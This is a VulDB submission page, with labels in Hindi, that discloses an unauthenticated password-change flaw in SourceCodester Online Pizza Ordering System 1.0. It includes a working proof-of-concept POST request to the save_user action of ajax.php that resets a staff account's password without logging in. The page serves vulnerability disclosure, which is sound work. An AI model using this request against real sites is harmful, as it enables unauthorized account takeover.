| शीर्षक | SOURCECODESTER ONLINE PIZZA ORDERING SYSTEM 1.0 Unauthorized Password Modification |
|---|
| विवरण | SOURCECODESTER ONLINE PIZZA ORDERING SYSTEM 1.0 has an Unauthorized Password Modification vulnerability, the vulnerability is due to access control weakness. Remote and unauthenticated attacker can change the password directly without login.
There is a poc below :
POST /php-opos/admin/ajax.php?action=save_user HTTP/1.1
*********************************(without cookie in header)
id=2&name=Staff&username=staff&password=abcdefg&type=2
Then the password will be changed to 'abcdefg' without authentication. |
|---|
| स्रोत | ⚠️ https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html |
|---|
| उपयोगकर्ता | WWesleywww (UID 43117) |
|---|
| सबमिशन | 17/03/2023 08:33 AM (4 साल पहले) |
|---|
| संयम | 17/03/2023 08:51 AM (17 minutes later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 223305 [SourceCodester Online Pizza Ordering System 1.0 Password Change ajax.php?action=save_user कमजोर प्रमाणीकरण] |
|---|
| अंक | 20 |
|---|